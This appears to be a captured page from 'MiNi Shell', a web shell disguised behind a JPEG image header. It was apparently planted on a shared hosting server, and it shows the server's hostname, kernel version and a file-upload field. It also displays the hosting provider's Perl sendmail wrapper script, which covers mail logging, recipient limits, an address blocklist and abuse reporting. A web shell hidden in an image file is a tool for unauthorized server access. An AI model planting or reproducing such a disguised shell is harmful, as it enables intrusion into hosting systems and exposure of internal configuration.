JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /usr/sbin/

Linux boscustweb5005.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //usr/sbin/sendmail

#!/usr/local/bin/perl5.8.8

# Description: To be used as a wrapper around sendmail to allow logging of
#              mail sent from cgi scripts. This is needed because the mail
#              actually gets sent by the user running the apache process.
use strict;
use Sys::Syslog;
use Fcntl qw(:DEFAULT :flock);
use Mail::Address;
use constant DEBUG	=> 0;
use constant LOGDEBUG	=> 0;
use constant DEBUG_LOG	=> 0;
$SIG{ALRM} = sub { print STDERR "Gave up; waited too long\n"; };

alarm 60;

my ( $cmdline, $homedir, $time, @mail, $bytes, $sawTo, $to, %to, $endOfHeaders, $rcpt, $subject, $abuse,
	@origmsg, $subject2, $bcc, $orig_subject, $message_id_seen, $message_id_header, );
$time = localtime();
my $maillog_file	= "/tmp/mail_log";
my $debug_file		= "/tmp/.mail_log_debug";
my $maillock		= 'mail-lock-file';
my $mailokfile		= 'mail-ok-file';
my $mailmuzzlefile      = 'mail-muzzle-file';
my $maillimitsfile      = "settings/mail-limits";
my $hostname_full	= `/bin/hostname`; chop $hostname_full;
my $hostname		= $hostname_full;


# Get initial part of hostname
$hostname =~ s/\..*//;
# my ( $hostname, undef )	= split( /\./, $hostname_full, 2 );


my @known_bad = ( 'beacon5919@aol.com', 'battsl1005@aol.com', 'batts1005@aol.com',
			'charleslegbe@aol.com', );


my ( $username );


# Rebuild command line

my @args;
foreach my $arg (@ARGV) {
       if ($arg =~ /^\-bem?$/ ) {
               die("Invalid syntax");
       }
       $arg =~ s~[|;!<>\`\$\}\{]~~g;
       push(@args, $arg);
}
unshift( @args, "-t" ) unless grep { /^-t$/ } @args;

# Just for output stuff for now.
$cmdline = join( ' ', @args );


$homedir = $ENV{ 'DOCUMENT_ROOT' };        # Where are they executing this from ?
open( DBG, ">> $debug_file" ) || warn "Couldn't open mail_log_debug\n" if DEBUG;
print DBG "[$$] $homedir: $cmdline\n" if DEBUG >= 3;


# Figure out username
$username = $ENV{ "BL_USER" } || $ENV{ 'USERNAME' };

# Get username from hdir if necessary
unless ( $username ) {
	( $username ) = $ENV{ 'DOCUMENT_ROOT' } =~ m|/home/users/web/b\d+/([^/]*)|;
} # end unless


# Get bucket
my $bucket = ReturnUserBucket( $username );


# my @oksizeusers = ( 'hy.arojas', 'moo.fsboal', 'macronetwork', 'moo.mohawk' );

my @ignore_headers = ( "X-EN-Info", "X-EN-CGIUser", "X-EN-CGIPath", "X-EN-Class", "X-EN-Prop", "X-EN-User", "X-EN-Timestamp", );
my $ignore_headers_string = join( "|", @ignore_headers );
my $ignore_headers_re = qr{^\s*(?:$ignore_headers_string)}i;


my $limitsfile = "/hermes/conf/$bucket/$username/$maillimitsfile";
my $checkSize = getUserLimits( { limitsfile => $limitsfile } );
$checkSize ||= 1048576;
# $checkSize = ( ( grep { /^$username$/ } @oksizeusers ) ? 15000000 : 1048576 );


# Now read the mail message from standard input and store in @mail array
while ( <STDIN> ) {

	# Keep track of size of message
	$bytes += length( $_ );

	# Don't send if over size limit
	if ( $bytes > $checkSize ) {
		print STDERR "[$$] Cannot send message: Too big\n";
		( my $username ) = $homedir =~ m|/home/users/web/b\d+/([^/]*)|;
		doLog( "USER=$username ERROR=Cannot send message: Too big" );
		exit 100;
	} # end if too big


	push @origmsg, $_;


	# Find end of headers
	$endOfHeaders++ if m|^\s*$|;


	# Try to determine subject
	if ( ! $endOfHeaders && ! $subject && m~^Subject:\s*(.*)$~i ) {
		$orig_subject = $_;
		$subject = substr( $1, 0, 50 );
		$subject =~ s|\s+|_|g;
		$subject =~ s|[^0-9a-zA-Z\@_-]||g;
	} elsif ( ! $endOfHeaders && $subject && m~^Subject:\s*(.*)$~i && $orig_subject ne $_ ) {
		$subject2 = $_;
		$abuse = 1;
	} # end if


	# Don't let them inject stuff we use
	if ( ! $endOfHeaders && $_ =~ $ignore_headers_re ) {
		next;
	} # end if


	if ( ! $message_id_seen && ! $endOfHeaders && m~^\s*Message-Id:~i ) {
		$message_id_seen = 1;
	} # end if


	if ( ! $endOfHeaders && m~^\s*Bcc:~i ) {
		my $recips = $_ =~ tr/\@/\@/;

		$bcc .= $_;

		next if $recips > 4;
	} # end if


	# Try to determine recipient addresses
	if ( ! $endOfHeaders && m~^(?:To|Cc|Bcc):\s*(.*)$~i ) {
		my $tempto = $1;
		print DBG "$time: [$$] TO: $tempto <-- $_" if ( DEBUG >= 1 && $tempto );

		my @ma = Mail::Address->parse( $tempto );

		map { $to{ $_->address } = 1 } @ma;
	} # end unless

	push( @mail, $_ );
} # end while stdin


# Sanitize To:
$to =~ s|[^\@a-zA-Z0-9.,_=+#&-]||g;


# ROT13 the username to put in headers
my $rotusername = $username;
$rotusername =~ tr/a-zA-Z/n-za-mN-ZA-M/;


# chop off homedir from script
# $ps[1] =~ s|^$ENV{ 'DOCUMENT_ROOT' }||i;


# Debug
print DBG "[$$] $username in bucket $bucket\n" if DEBUG >= 1;


# If locked down file exists, don't send mail
if ( -e "/hermes/conf/$bucket/$username/$maillock" ) {
	print STDERR "[$$] Cannot send message: Forbidden to use mail\n";
	print DBG "[$$] $username had lockdown file\n" if DEBUG >= 1;
	exit 101;
} else {
	print DBG "[$$] $username: no lock file (/hermes/conf/$bucket/$username/$maillock)\n" if DEBUG >= 1;
} # end if lock file


# Check for muzzled file
if ( -e "/hermes/conf/$bucket/$username/$mailmuzzlefile" && -M _ < .04 ) {
	print DBG "[$$] $username had muzzle file\n" if DEBUG >= 1;
	# print STDERR "[$$] Cannot send message: Temporarily forbidden to use mail\n";
	exit 102;
} # end if


# Build command
my $mailprog = "/usr/sbin/exim4";


# stringify To addresses
$to = join( ',', keys %to );
$rcpt = scalar keys %to;


my $aol_rcpts = $to =~ m|(\@aol\.com)|gi;


foreach my $badrcpt ( @known_bad ) {
	if ( $to{ $badrcpt } ) {
		$abuse = 1;
	} # end if
} # end foreach


# Create a message-id header if none exists
if ( ! $message_id_seen ) {
	my ( $message_id_domain, );
	my $range = 1000;
	my $random_number = int(rand($range));

	$message_id_domain = ( $hostname_full =~ /eigbox\.net/ ) ? "eigbox.net" : "yourhostingaccount.com";
	$message_id_header = "Message-Id: <" . time() . "-" . $random_number . "-" . $username . "\@" . $hostname . "." . $message_id_domain . ">";
} # end if


if (
	! $abuse && (
		( $aol_rcpts < 15 && $rcpt < 30 )
		||
		( $aol_rcpts < 30 && $rcpt < 60 && -f "/hermes/conf/$bucket/$username/$mailokfile" )
	)
) {

	eval {
		# Ok, now really send the mail
		open( MAIL, "| $mailprog @args" ) || die "Couldn't open sendmail: $!\n";
		print DBG "[$$] sendmail: $cmdline\n" if DEBUG >= 2;
		LOGDEBUG && do {
			open LOGDBG, ">> /tmp/.mail.log";
			print LOGDBG "\n\n\n[$$] [$username] New message:\n";
		}; # end do


		# Put the real username into the headers if we were able to get it
		print MAIL "X-EN-Info: U=$username P=$ENV{ SCRIPT_NAME }\n" if $username;
		print MAIL "X-EN-CGIUser: $username\n" if $username;
		print MAIL "X-EN-CGIPath: $ENV{ SCRIPT_NAME }\n" if $username;
		print MAIL "X-EN-OrigIP: $ENV{ REMOTE_ADDR }\n" if $ENV{ REMOTE_ADDR };
		print MAIL "$message_id_header\n" if $message_id_header;

		
		LOGDEBUG && do {
			print LOGDBG "[$$] [$username] X-EN-Info: U=$username P=$ENV{ SCRIPT_NAME }\n" if $username;
			print LOGDBG "[$$] [$username] X-EN-CGIUser: $username\n" if $username;
			print LOGDBG "[$$] [$username] X-EN-CGIPath: $ENV{ SCRIPT_NAME }\n" if $username;
		}; # end do


		# Print mail to MAIL fh
		foreach ( @mail ) {

			print MAIL "$_";
			LOGDEBUG && print LOGDBG "[$$] [$username] $_";

		} # end foreach

		close MAIL;
		LOGDEBUG && do {
			print LOGDBG "\n[$$] [$username] End message:\n\n\n";
			close LOGDBG;
		}; # end do

	}; # end eval

	print STDERR $@ if $@;

} else {
	DEBUG_LOG && open LOGDBG, ">> /tmp/.mail.log";
	DEBUG_LOG && print LOGDBG "\n\n", 'X' x 60, "\n";

	open( MAIL, "| $mailprog" ) || die "Couldn't open sendmail\n";

	# Put the real username into the headers if we were able to get it
	print MAIL "X-EN-Info: U=$username P=$ENV{ SCRIPT_NAME }\n";
	print MAIL "X-EN-CGIUser: $username\n";
	print MAIL "X-EN-CGIPath: $ENV{ SCRIPT_NAME }\n";
	print MAIL "X-EN-OrigIP: $ENV{ REMOTE_ADDR }\n";
	print MAIL "$message_id_header\n" if $message_id_header;
	DEBUG_LOG && print LOGDBG "X-EN-Info: U=$username P=$ENV{ SCRIPT_NAME }\n";
	DEBUG_LOG && print LOGDBG "X-EN-CGIUser: $username\n";
	DEBUG_LOG && print LOGDBG "X-EN-CGIPath: $ENV{ SCRIPT_NAME }\n";
	DEBUG_LOG && print LOGDBG "X-EN-OrigIP: $ENV{ REMOTE_ADDR }\n";
		

	print MAIL "From: cgisubsystem\@int.bizland.net\n";
	print MAIL "To: cgiabuse\@bizland.com\n";
	print MAIL "Subject: CGI Abuse by $username on $hostname\n\n";

	print MAIL "User: $username\nScript: $ENV{ SCRIPT_NAME }\nOrigIP: $ENV{ REMOTE_ADDR }\nRcpt count: $rcpt\nRcpts: ",
		join( ', ', keys %to ),
		"\nQuery string: $ENV{ QUERY_STRING }",
		"\n\n\nMessage:\n\n", 'X' x 80, "\n\n";

	DEBUG_LOG && print LOGDBG "From: cgisubsystem\n";
	DEBUG_LOG && print LOGDBG "To: mmoseley\@bizland-inc.com\n";
	DEBUG_LOG && print LOGDBG "Subject: CGI Abuse by $username\n\n";

	DEBUG_LOG && print LOGDBG "User: $username\nScript: $ENV{ SCRIPT_NAME }\nRcpt count: $rcpt\nRcpts: ",
		join( ', ', keys %to ), "\n\n\nMessage:\n\n";

	# Print mail to MAIL fh
	foreach ( @origmsg ) {

		print MAIL "$_";
		DEBUG_LOG && print LOGDBG "$_";

	} # end foreach


	if ( 0 ) {
		print MAIL "\n\n", 'X' x 60, "\n\nMessage at is originally appeared:\n\n";

		for ( @origmsg ) {
			print MAIL $_;
		} # end foreach
	} # end if

	close MAIL;
	DEBUG_LOG && close LOGDBG;

} # end if/else


# Debugging
# print DBG "$time: [$$] PS: $ps\n" if DEBUG >= 1;
# print DBG "$time: [$$] $username: $ps[0] $ps[1] TO=$to\n" if DEBUG >= 1;
print DBG "\n\n" if DEBUG >= 1;


# If AOL abuse, hammer them
if ( $aol_rcpts >= 20 && ! -f "/hermes/conf/$bucket/$username/$mailokfile" ) {
	$rcpt += 1000;
} # end if


# Log entry
doLog( "USER=$username HDIR=$ENV{ 'DOCUMENT_ROOT' } SCRIPT=$ENV{ 'SCRIPT_NAME' } RCPT=$rcpt TO=$to SUBJ=$subject" );


# Clean up
close DBG;
exit 0;


sub doLog {
	my ( $msg ) = @_;

	$msg =~ s/['"]//g;
	# `/usr/bin/logger -p local6.info -i -t CGI -- '$msg'`;
	Sys::Syslog::openlog( "CGI", "ndelay,pid,nofatal", "local6" ) &&
		Sys::Syslog::syslog( "info", "$msg" );

} # end doLog


sub ReturnUserBucket {

        my $tempword = shift;

        my $word = lc $tempword;

        my (@vecletters, @results, @letters, $value);

        # Breaks word into array containing each letter
        @letters = $word =~ /(.)/g;

         # We want a number to stop looping at; assigning into 2-byte chunks makes it weird
        my $forlimit = ($#letters+1)/2;


        # loop through each 2-byte chunk
        for ( my $i = 0; $i < $forlimit; $i++ ) {

                # Shift off two letters at a time, vec them (which interprets them as a bit
                #    vector) and return to i-th index of array
                $vecletters[$i] = vec( (shift(@letters) . shift(@letters)), 0, 16);

        } # end for


           # Do XORson each 16-bit vector
        foreach my $vector (@vecletters) {

                $value ^= $vector;

                if ( ($value & 1) != 0 ) {
                        $value = ($value >> 1) | 0x8000;
                } else {
                        $value = $value >> 1;
                } # end if

        } # end foreach


           # return the bucket number which is final result of above algorithm modulo number of buckets
        return 'b' . ( $value % 3001 );

} # end sub



sub parseLimitsFile {
        my ( $filename ) = @_;
        my ( %data );

        unless( -f $filename ) {
		# doLog( "[parseLimitsFile] No limits file for $filename" );
		# print STDERR "[parseLimitsFile] No limits file for $filename\n";
                return undef;
        } # end if

	( my $username = $filename ) =~ s|.*/||;

        open( INPUT, "$filename" ) || doLog( "[parseLimitsFile] Cannot open limits for $username: $!" );

        while( <INPUT> ) {
                chomp;
                my ( $key, $value ) = split( /:\s+/, $_, 2 );
                $data{ $key } = $value;
		doLog( "[parseLimitsFile] File:$filename  Key:$key  Val:$value" );
        } # end while

        close INPUT;

        return %data;
} # end sub



sub getUserLimits {
        my ( $args ) = @_;


        # Get limits from file (undef if no file)
        my %limits = parseLimitsFile( $args->{ limitsfile } );



        return $limits{ size };
} # end sub

Creat By MiNi SheLL
Email: devilkiller@gmail.com